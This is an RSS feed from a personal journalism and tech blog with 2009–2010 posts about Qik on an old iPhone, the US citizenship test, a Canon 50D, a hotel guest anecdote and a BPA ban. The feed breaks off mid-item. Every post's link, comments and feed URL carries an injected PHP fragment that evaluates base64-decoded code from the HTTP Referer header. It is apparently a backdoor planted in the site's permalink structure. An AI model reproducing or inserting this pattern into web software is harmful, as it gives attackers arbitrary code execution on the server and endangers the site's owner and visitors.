<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title></title>
	<atom:link href="http://www.news-geek.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.news-geek.com/blog</link>
	<description></description>
	<pubDate>Fri, 05 Mar 2010 21:14:50 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.5</generator>
	<language>en</language>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Testing Qik on a First-Generation iPhone</title>
		<link>http://www.news-geek.com/blog/2010/03/04/testing-qik-on-a-first-generation-iphone/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.news-geek.com/blog/2010/03/04/testing-qik-on-a-first-generation-iphone/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 04 Mar 2010 17:17:17 +0000</pubDate>
		<dc:creator>Rima</dc:creator>
		
		<category><![CDATA[Entertainment]]></category>

		<category><![CDATA[Journalism]]></category>

		<category><![CDATA[Random]]></category>

		<category><![CDATA[Religion]]></category>

		<category><![CDATA[Technology]]></category>

		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[apple]]></category>

		<category><![CDATA[iphone]]></category>

		<category><![CDATA[new media]]></category>

		<category><![CDATA[qik]]></category>

		<category><![CDATA[streaming]]></category>

		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.news-geek.com/blog/?p=288</guid>
		<description><![CDATA[I wonder if I&#8217;m the only Apple-centric new-media geek on the planet who still has a first-generation iPhone. I know that my friends in the biz often laugh at me for it, but why? Anyone who understands anything about Apple knows that the company prides itself on computability. Every time there&#8217;s a new software update [...]]]></description>
			<content:encoded><![CDATA[<p>I wonder if I&#8217;m the only Apple-centric new-media geek on the planet who still has a first-generation iPhone. I know that my friends in the biz often laugh at me for it, but why? Anyone who understands anything about Apple knows that the company prides itself on computability. Every time there&#8217;s a new software update for the iPhone, my three-year-old device manages to keep up with those new-fangled little 3GSs with little trouble at all. There are of course certain things a first-gen phone can&#8217;t do that a 3G/3GS can, but I haven&#8217;t really noticed anything that makes me long for the inconvenience of a hardware upgrade. <img src='http://www.news-geek.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>The main thing (for me, as an all-in-one new-media journalist) that older models lack is built-in video capability, but even that is changing. This past December, <a href="http://www.qik.com" target=new>Qik</a>, a company striving to bring video technology to the mobile world, released an application that turns even my first-gen&#8217;s still camera into a useful video tool. </p>
<p>Here&#8217;s a video I shot with Qik last month. My only complaint is that  I would prefer more frames per second since these doggies are fast, but all in all, I&#8217;m quite pleased. This app makes my &#8220;classic&#8221; first-generation phone feel a bit like a 3GS <i>light</i>, so to speak. Obviously the 3GS, which is built for video, does a better job with it over all: The camera in general takes clearer, more vibrant photos. The video, also, is clearer and less jerky.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,115,0" width="425" height="319" id="qikPlayer" align="middle"><param name="allowScriptAccess" value="sameDomain" /><param name="allowFullScreen" value="true" /><param name="movie" value="http://qik.com/swfs/qikPlayer5.swf" /><param name="quality" value="high" /><param name="bgcolor" value="#333333" /><param name="FlashVars" value="streamID=d814532790c84e76acd9d2256d49f35e&amp;autoplay=false" /><embed src="http://qik.com/swfs/qikPlayer5.swf" quality="high" bgcolor="#333333" width="425" height="319" name="qikPlayer" align="middle" allowScriptAccess="sameDomain" allowFullScreen="true" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" FlashVars="streamID=d814532790c84e76acd9d2256d49f35e&amp;autoplay=false"></embed></object></p>
<p>You can see the need for a better frame rate and quality even more so in this video I shot at a hibachi grill near my house:<br />
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,115,0" width="425" height="319" id="qikPlayer" align="middle"><param name="allowScriptAccess" value="sameDomain" /><param name="allowFullScreen" value="true" /><param name="movie" value="http://qik.com/swfs/qikPlayer5.swf" /><param name="quality" value="high" /><param name="bgcolor" value="#333333" /><param name="FlashVars" value="streamID=547dd0ffec2b4312b2dfd142259702f3&amp;autoplay=false" /><embed src="http://qik.com/swfs/qikPlayer5.swf" quality="high" bgcolor="#333333" width="425" height="319" name="qikPlayer" align="middle" allowScriptAccess="sameDomain" allowFullScreen="true" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" FlashVars="streamID=547dd0ffec2b4312b2dfd142259702f3&amp;autoplay=false"></embed></object></p>
<p>The frame rate for the default Qik video resolution of 200&#215;152 is only 15 frames per second, which is half that seen in film. Shooting anything larger will kick the rate down even further, producing a choppier shot akin to old security camera footage. That said, the application is only $0.99 and hosting is absolutely free. If money is the only obstacle between you and a shiny new 3GS with video&#8211;or if you, like me, are too lazy and attached to your older model iPhone to make the switch&#8211;you might be better off with Qik. As noted above, you won&#8217;t get the same quality or clarity, but you will get usable video.</p>
<p>If you&#8217;re a 3GS-less journalist or anyone else looking for a quick, on-the-fly option for raw video production, I highly recommend this program. If not, well, why are you using your cell phone to shoot to begin with?</p>
<p>All in all, I give Qik for the iPhone 4 out of 5 stars. It&#8217;s cheap, reliable, accessible and all-in-all a well-programmed piece of software. I&#8217;d prefer a frame rate of at least 24 FPS, but 15 isn&#8217;t terrible.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.news-geek.com/blog/2010/03/04/testing-qik-on-a-first-generation-iphone/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Could the citizens pass the citizenship test?</title>
		<link>http://www.news-geek.com/blog/2010/01/29/could-the-citizens-pass-the-citizenship-test/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.news-geek.com/blog/2010/01/29/could-the-citizens-pass-the-citizenship-test/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 30 Jan 2010 04:46:13 +0000</pubDate>
		<dc:creator>Rima</dc:creator>
		
		<category><![CDATA[Entertainment]]></category>

		<category><![CDATA[Journalism]]></category>

		<category><![CDATA[Politics]]></category>

		<category><![CDATA[Random]]></category>

		<category><![CDATA[citizenship]]></category>

		<category><![CDATA[civics]]></category>

		<category><![CDATA[education]]></category>

		<category><![CDATA[naturalization]]></category>

		<guid isPermaLink="false">http://www.news-geek.com/blog/?p=284</guid>
		<description><![CDATA[Well, as many of you know, I&#8217;m finally up for American citizenship! I&#8217;ve been in the States since I was 9, so it only took, oh, 18 years to get this far. While I&#8217;ll surely miss my shiny little green card and my Canadian passport, I&#8217;ll be thrilled to finally be able to vote in [...]]]></description>
			<content:encoded><![CDATA[<p>Well, as many of you know, I&#8217;m finally up for American citizenship! I&#8217;ve been in the States since I was 9, so it only took, oh, <i>18 years</i> to get this far. While I&#8217;ll surely miss my shiny little green card and my Canadian passport, I&#8217;ll be thrilled to finally be able to vote in elections. </p>
<p>I poked around online yesterday looking for the proper N400 form, and I ended up perusing some <a href="http://www.uscis.gov/portal/site/uscis/menuitem.eb1d4c2a3e5b9ac89243c6a7543f6d1a/?vgnextoid=2de5bece24e7b110VgnVCM1000004718190aRCRD&#038;vgnextchannel=2de5bece24e7b110VgnVCM1000004718190aRCRD" target="new">study materials and sample questions</a> for the citizenship test.</p>
<p>I find this sort of thing pretty interesting, so I thought I&#8217;d share.</p>
<p>The spelling is of course quite easy for a native English speaker such as myself. And if any of you born-and-raised Americans can&#8217;t ace the civics portion, I worry about you. <img src='http://www.news-geek.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>The sad truth&#8211;or shall I say, the sad speculation and educated guess&#8211;is that a lot of Americans wouldn&#8217;t do well on this test on the first try. How many is &#8220;a lot&#8221;? Well, that depends. Now that the questions asked are more open-ended than they used to be&#8211;with queries like &#8220;What does the Constitution do?&#8221; replacing old ones like &#8220;What is the Constitution?&#8221;&#8211;lots of news organizations are digging around to see how well various samplings of U.S. citizens perform. (Examples: <a href="http://www.foxnews.com/story/0,2933,431212,00.html" target=new1>Fox News</a>; <a href="http://www.cnn.com/2008/US/10/01/citizenship.test/" target="new2">CNN</a>&#8211;you can even try your hand at a few questions at <a href="http://www.msnbc.msn.com/id/25461301/" target="new3">MSNBC</a>.)</p>
<p>Out of simple curiosity, I&#8217;d love to see all Americans taking the 2010 census also try their hands at the citizenship test. How well do you think our citizenry would perform on average? How well will you do if you take the <a href="http://www.msnbc.msn.com/id/25461301/" target="new3">MSNBC sample test</a>?</p>
<p>Fair is fair: I got a 95% thanks to the question regarding which listed state was not part of the original 13 colonies. </p>
<p><b>NOTE: This MSNBC test is arguably easier than the actual U.S. citizenship test because candidates for naturalization are given questions in short-answer format as opposed to multiple choice.</b> As such, I recommend you check out the official <a href="http://www.uscis.gov/portal/site/uscis/menuitem.eb1d4c2a3e5b9ac89243c6a7543f6d1a/?vgnextoid=2de5bece24e7b110VgnVCM1000004718190aRCRD&#038;vgnextchannel=2de5bece24e7b110VgnVCM1000004718190aRCRD" target="new">study materials and sample questions</a> from the U.S. Citizenship and Immigration Services Web site. </p>
<p><b>Addendum:</b> I&#8217;ve received several messages and comments from people regarding why they think many Americans would fail the citizenship test on the first go. In summary, they point out that most of the voting public is well beyond the days of elementary and high school civics and therefore shouldn&#8217;t be expected to retain historical facts and dates that do not affect them on a daily basis.</p>
<p>While I don&#8217;t personally think every American needs to know the number of amendments to the Constitution off the top of his or her heard, I do think other questions on the test are very important: Which branch of government declares war? Who is one of the U.S. senators from your state? Who selects new justices for the U.S. Supreme Court and what powers does the court have?</p>
<p>I think that every single American registered to vote should be able to answer these questions correctly&#8211;no excuses.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.news-geek.com/blog/2010/01/29/could-the-citizens-pass-the-citizenship-test/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Photography and the Canon 50D</title>
		<link>http://www.news-geek.com/blog/2009/12/29/photography-and-the-canon-50d/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.news-geek.com/blog/2009/12/29/photography-and-the-canon-50d/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 07:09:41 +0000</pubDate>
		<dc:creator>Rima</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[canon]]></category>

		<category><![CDATA[canon 50d]]></category>

		<category><![CDATA[examples]]></category>

		<category><![CDATA[fun]]></category>

		<category><![CDATA[novice]]></category>

		<category><![CDATA[photography]]></category>

		<guid isPermaLink="false">http://www.news-geek.com/blog/?p=282</guid>
		<description><![CDATA[After agonizing over which DSLR might be right for me, I recently settled on the Canon 50D. I have to say, I have no regrets. 

I&#8217;m by all accounts a novice photographer, but I enjoy photography and I think that&#8217;s what really matters. If you know what you like, you&#8217;ll know what results you want [...]]]></description>
			<content:encoded><![CDATA[<p>After agonizing over which DSLR might be right for me, I recently settled on the Canon 50D. I have to say, I have no regrets. </p>
<p><center><a href="http://www.flickr.com/photos/thenewsgeek/4224802310/" title="Rima by thenewsgeek, on Flickr"><img src="http://farm3.static.flickr.com/2555/4224802310_250de0449c.jpg" width="492" height="500" alt="Rima" /></a></center></p>
<p>I&#8217;m by all accounts a novice photographer, but I <i>enjoy</i> photography and I think that&#8217;s what really matters. If you know what you like, you&#8217;ll know what results you want and you&#8217;ll do your best to get them. Also, I think I&#8217;m starting to get the hang of having more control over what my gear can actually do:</p>
<p><center><a href="http://www.flickr.com/photos/thenewsgeek/4224033479/" title="Cats by thenewsgeek, on Flickr"><img src="http://farm5.static.flickr.com/4026/4224033479_aa6638c573.jpg" width="500" height="333" alt="Cats" /></a></center></p>
<p>What kind of gear do you use? Are you a point-and-shoot kind of person, or do you work with professional/prosumer cameras entirely?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.news-geek.com/blog/2009/12/29/photography-and-the-canon-50d/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Stupeflix (and A Day in the Life of Herbie the Miniature Dachshund)</title>
		<link>http://www.news-geek.com/blog/2009/09/21/stupeflix-and-a-day-in-the-life-of-herbie-the-miniature-dachshund/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.news-geek.com/blog/2009/09/21/stupeflix-and-a-day-in-the-life-of-herbie-the-miniature-dachshund/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 21:26:39 +0000</pubDate>
		<dc:creator>Rima</dc:creator>
		
		<category><![CDATA[Blogs]]></category>

		<category><![CDATA[Entertainment]]></category>

		<category><![CDATA[Journalism]]></category>

		<category><![CDATA[api]]></category>

		<category><![CDATA[herbie]]></category>

		<category><![CDATA[soundslides]]></category>

		<category><![CDATA[stupeflix]]></category>

		<category><![CDATA[web applications]]></category>

		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://www.news-geek.com/blog/?p=280</guid>
		<description><![CDATA[Well, despite the career change, I do keep my ear to the ground for new media tools. Right now, I&#8217;m interested in Stupeflix, a really simple to use audio-slide show tool that lets you create seamless videos in Flash and for YouTube in a matter of minutes. 
While Stupeflix is definitely more useful for your [...]]]></description>
			<content:encoded><![CDATA[<p>Well, despite the career change, I do keep my ear to the ground for new media tools. Right now, I&#8217;m interested in <a href="http://studio.stupeflix.com/">Stupeflix</a>, a really simple to use audio-slide show tool that lets you create seamless videos in Flash and for YouTube in a matter of minutes. </p>
<p>While Stupeflix is definitely more useful for your average user than to professional journalists (to whom I strongly recommend <a href="http://www.soundslides.com/">Soundslides</a>), I will say that Stupeflix is quite innovative: It provides a simple and speedy API to process images, sounds, and other components into videos with relatively complex  visual effects (complex for a Web app, anyway). Furthermore, the API allows users to create content and <strong>applications</strong> quickly and easily for the Web as well as Apple&#8217;s iPhone.</p>
<p>Lastly, the interface is so clean and simple that even a Web novice would have little trouble generating content and getting it onto YouTube.</p>
<p>Here&#8217;s a video I made with pictures of my new puppy. All told, it took me about 10 minutes (including interruptions).</p>
<p><object width="580" height="360"><param name="movie" value="http://www.youtube.com/v/L3XKLECM1Go&#038;hl=en&#038;fs=1&#038;rel=0&#038;color1=0x2b405b&#038;color2=0x6b8ab6&#038;border=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/L3XKLECM1Go&#038;hl=en&#038;fs=1&#038;rel=0&#038;color1=0x2b405b&#038;color2=0x6b8ab6&#038;border=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="580" height="360"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.news-geek.com/blog/2009/09/21/stupeflix-and-a-day-in-the-life-of-herbie-the-miniature-dachshund/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>No Checks, Please!</title>
		<link>http://www.news-geek.com/blog/2009/07/15/no-checks-please/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.news-geek.com/blog/2009/07/15/no-checks-please/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 16:02:49 +0000</pubDate>
		<dc:creator>Rima</dc:creator>
		
		<category><![CDATA[Journalism]]></category>

		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[careers]]></category>

		<category><![CDATA[craziness]]></category>

		<category><![CDATA[hotels]]></category>

		<category><![CDATA[people]]></category>

		<guid isPermaLink="false">http://www.news-geek.com/blog/?p=278</guid>
		<description><![CDATA[The tale of the entitled woman with no bank account...]]></description>
			<content:encoded><![CDATA[<p>As some of you already know, my husband and I decided to leave our fast-paced careers and enter into the family business of hotels a few months ago. It was a tough decision, but ultimately a good one (at least for now). So in May, he said goodbye to software and I to professional multimedia journalism. I proved a lot to myself with NOVA and an adjunct professorship at BU being my first two jobs out of school. So why not move closer to family and do something different? It would be a new challenge for us both.</p>
<p>While I&#8217;m not quite ready to revamp this site into &#8220;Hotel-Geek.com,&#8221; I think I will illustrate a few of my adventures and misadventures here on this blog. If I get back into media, I&#8217;ll go back to posting about that.</p>
<p>And now for a story&#8230;</p>
<p>About two months ago, a woman with big hair and an even bigger grin came to the front desk with a check for $200. I was a little confused, so I asked her what the money was for. She responded:</p>
<p>&#8220;Oh, I owe you this!&#8221;</p>
<p>Me: &#8220;You do? Are you with a group?&#8221;</p>
<p>Her: &#8220;I was last year!&#8221;</p>
<p>So I thanked her and asked her, awkwardly, what exactly the check was for. </p>
<p>The woman explained that she is the spokesperson for a charitable organization catering to the Native American community in my area, and that last year she rented 20-ish rooms and wasn&#8217;t able to actually pay for them. Apparently the &#8220;wonderful and gracious&#8221; manager at the time said &#8220;no problem!&#8221; and allowed the woman to pay after-the-fact in little monthly increments of $200 or less.</p>
<p>Mind you, this was the first and only check I saw from the woman in my nearly three months here so far. (We began new ownership on March 25 and I personally arrived in early May.)</p>
<p>When the woman left, I looked in our database and found that artificial payments had been posted to the rooms so that the staff could check the rooms out in the system and later rent them to other guests. Great.</p>
<p>Today, the same woman came in&#8211;big grin and all&#8211;and asked if I would be willing to accommodate her group again this year. I said yes, but that we couldn&#8217;t accept checks as payment. Honestly, we only ever accept checks from schools and government agencies, anyway.</p>
<p>The woman seemed shocked&#8211;even offended. She asked, &#8220;How do you <i>not take checks</i>?&#8221;</p>
<p>I responded, in my polite and awkward way, &#8220;Well, we usually only accept them from government agencies, and considering your remaining balance from last year, I&#8211;&#8221;</p>
<p>Her: &#8220;Well, how do you expect us to pay then???&#8221;</p>
<p>Me: &#8220;I will accept cash in advance or credit.&#8221;</p>
<p>Her: &#8220;We don&#8217;t have credit cards! Can you at least give me a good rate?&#8221;</p>
<p>I told her that because she is from a charitable organization, I would be happy to give her an even better discount than our usual group rate. She rolled her eyes and said she&#8217;d be back&#8211;&#8221;maybe.&#8221; Then she left in a huff.</p>
<p>As far as I can tell, she still owes the hotel about $3,000.</p>
<p>Is it too late to get back into journalism?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.news-geek.com/blog/2009/07/15/no-checks-please/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Parking FAIL or &#8220;Pompous Musings on What the Web Means To Me&#8221;</title>
		<link>http://www.news-geek.com/blog/2009/06/24/parking-fail-or-pompous-musings-on-what-the-web-means-to-me/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.news-geek.com/blog/2009/06/24/parking-fail-or-pompous-musings-on-what-the-web-means-to-me/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:30:39 +0000</pubDate>
		<dc:creator>Rima</dc:creator>
		
		<category><![CDATA[Blogs]]></category>

		<category><![CDATA[Breaking News]]></category>

		<category><![CDATA[Entertainment]]></category>

		<category><![CDATA[Journalism]]></category>

		<category><![CDATA[Random]]></category>

		<category><![CDATA[fail]]></category>

		<category><![CDATA[idiocy]]></category>

		<category><![CDATA[media]]></category>

		<category><![CDATA[parking]]></category>

		<category><![CDATA[pompous musings]]></category>

		<guid isPermaLink="false">http://www.news-geek.com/blog/?p=271</guid>
		<description><![CDATA[OMG CHECK OUT THIS CRAZY PARKING JOB OUTSIDE MY GYM!!!!12$@!~]]></description>
			<content:encoded><![CDATA[<p>Ahh, the World Wide Web. It&#8217;s a marvel of modern technology, to be sure. And like the steam engine and the jet engine before it, the Web-based search engine has allowed man to explore the vast reaches of the world around him&#8211;<a href="http://hubblesite.org/" target="new">and the many worlds beyond</a>. </p>
<p>Furthermore&#8211;ah, forget it. All I wanted to say was  <b><i>OMG CHECK OUT THIS CRAZY PARKING JOB OUTSIDE MY GYM!!!!12$@!~</i></b></p>
<p><center><br />
<div id="attachment_274" class="wp-caption aligncenter" style="width: 510px"><a href="http://twitpic.com/7id7w"><img src="http://www.news-geek.com/blog/wp-content/uploads/2009/06/parking.jpg" alt="Nice Job, Jerk Outside My Gym!" title="Nice Job, Jerk" width="500" height="375" class="size-full wp-image-274" /></a><p class="wp-caption-text">Nice Job, Jerk Outside My Gym!</p></div></center></p>
<p>Because, why render just one handicap parking spot useless when you can screw with <i>both</i>? </p>
<p>Parking. FAIL!!!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.news-geek.com/blog/2009/06/24/parking-fail-or-pompous-musings-on-what-the-web-means-to-me/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>LIVE coverage: Marathon Monday</title>
		<link>http://www.news-geek.com/blog/2009/04/13/live-coverage-marathon-monday/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.news-geek.com/blog/2009/04/13/live-coverage-marathon-monday/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 13 Apr 2009 20:03:13 +0000</pubDate>
		<dc:creator>Rima</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[World]]></category>

		<guid isPermaLink="false">http://www.news-geek.com/blog/?p=266</guid>
		<description><![CDATA[This has been quite a busy semester for my Multimedia Journalism students. They&#8217;ve gone from having little (if any) experience with HTML and online media to building and designing their own Web sites. Additionally, they&#8217;ve all created fabulous slide shows, audio-stills features, interactive maps, Web video, and so much more in the span of a [...]]]></description>
			<content:encoded><![CDATA[<p>This has been quite a busy semester for my <a href="http://www.news-geek.com/jo540">Multimedia Journalism</a> students. They&#8217;ve gone from having little (if any) experience with HTML and online media to building and designing their own Web sites. Additionally, they&#8217;ve all created fabulous slide shows, audio-stills features, interactive maps, Web video, and so much more in the span of a few short months.</p>
<p>As if this hasn&#8217;t been enough, each student will be expected to cover the famed Boston Marathon next week. Most students will cover the event LIVE via tools like <a href="http://www.qik.com">Qik</a>, <a href="http://www.ustream.com">Ustream</a>, <a href="http://www.utterli.com">Utterli</a>, <a href="http://www.mogulus.com">Mogulus</a>, <a href="http://www.blogtalkradio.com">BlogTalkRadio</a>, <a href="http://www.soundslides.com">SoundSlides</a> and more.</p>
<p>You&#8217;ll be able to keep up with everything they&#8217;re doing starting later this week via this FriendFeed account:<br />
<iframe style="border: 1px solid rgb(67, 126, 199);" src="http://friendfeed.com/rooms/bostonmarathonbu/realtime?embed=1" width="550" frameborder="0" height="350"></iframe></p>
<p>Be sure to subscribe to the account so you can get updates. Or, just come back here on Marathon Monday and take a look at all of the great work the students have done!</p>
<p>Kudos to my colleague <a href="http://www.stevegarfield.com" target="new">Steve Garfield</a> for setting this up!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.news-geek.com/blog/2009/04/13/live-coverage-marathon-monday/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Bills Would Ban BPA From Food and Drink Containers</title>
		<link>http://www.news-geek.com/blog/2009/03/14/bills-would-ban-bpa-from-food-and-drink-containers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.news-geek.com/blog/2009/03/14/bills-would-ban-bpa-from-food-and-drink-containers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 14 Mar 2009 20:54:55 +0000</pubDate>
		<dc:creator>Rima</dc:creator>
		
		<category><![CDATA[Breaking News]]></category>

		<category><![CDATA[Journalism]]></category>

		<category><![CDATA[Science]]></category>

		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[baby bottles]]></category>

		<category><![CDATA[ban]]></category>

		<category><![CDATA[banning]]></category>

		<category><![CDATA[bisphenol-a]]></category>

		<category><![CDATA[bpa]]></category>

		<category><![CDATA[dana dolinoy]]></category>

		<category><![CDATA[duke university]]></category>

		<guid isPermaLink="false">http://www.news-geek.com/blog/?p=256</guid>
		<description><![CDATA[House and Senate leaders introduced legislation yesterday that would establish a federal ban on bisphenol A (or BPA, a toxic chemical linked to heart disease and diabetes) in all food and beverage containers. ]]></description>
			<content:encoded><![CDATA[<p>House and Senate leaders introduced legislation yesterday that would establish a federal ban on bisphenol A (or BPA, a toxic chemical linked to heart disease and diabetes) in all food and beverage containers. </p>
<table border=0 cellpadding=2 cellspacing=0  height="" width="302" align=left>
<tr>
<td><small><a href="http://www.pbs.org/wgbh/nova/genes/mice-flash.html" target=new><center><img src="http://www.news-geek.com/blog/pics/dolinoy.jpg"/></center>Click</a> to view a NOVA audio slide show I conducted with BPA expert Dana Dolinoy </small></td>
</tr>
</table>
<p>This move came just one day after Sunoco, a gas and chemical company, announced that it is now refusing to sell BPA-containing containers meant to store food and liquids for children younger than 3. <a href="http://www.google.com/hostednews/ap/article/ALeqM5gOPl1ZUc7b5Zxrt5oXVoyFC24GTQD96SMQH80" target="new">The company told investors that it cannot be certain of the chemical compound&#8217;s safety</a>. Playtex, Gerber and four other baby-bottle manufacturers have also announced that they will stop using BPA in bottles. </p>
<p>The quest to ban BPA is nothing new. San Francisco lawmakers proposed barring the product in children&#8217;s producs in 2006, and while they eventually backed down, their efforts have inspired similar proposals in California, Hawaii, Washington and Oregon. <a href="http://www.washingtonpost.com/wp-dyn/content/story/2008/04/18/ST2008041803545.html" target="new">Canada banned BPA nationwide in October</a>.</p>
<p>But we hear mixed messages about dangerous chemicals all the time. Sometimes, one group of scientists will tell us that  something we&#8217;ve been eating/drinking/standing near will kill us, while another group encourages further exposure! Remember all of the drama surrounding the cholesterol in our eggs? And don&#8217;t even get me started on this pro-corn-syrup campaign. Suffice it to say, I think it&#8217;s misleading. </p>
<p>So what is it about BPA that we know makes it so harmful? Last year, I interviewed Duke University scientist Dana Dolinoy about her research on the chemical and its effects. Click the image above (or <a href="http://www.pbs.org/wgbh/nova/genes/mice-flash.html" target=new>here</a>) to watch an audio slide show I created showing what her team has found so far.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.news-geek.com/blog/2009/03/14/bills-would-ban-bpa-from-food-and-drink-containers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Streaming Live from Walt Disney World</title>
		<link>http://www.news-geek.com/blog/2009/03/12/streaming-live-from-walt-disney-world/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.news-geek.com/blog/2009/03/12/streaming-live-from-walt-disney-world/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 12 Mar 2009 19:20:37 +0000</pubDate>
		<dc:creator>Rima</dc:creator>
		
		<category><![CDATA[Blogs]]></category>

		<category><![CDATA[Breaking News]]></category>

		<category><![CDATA[Journalism]]></category>

		<category><![CDATA[Technology]]></category>

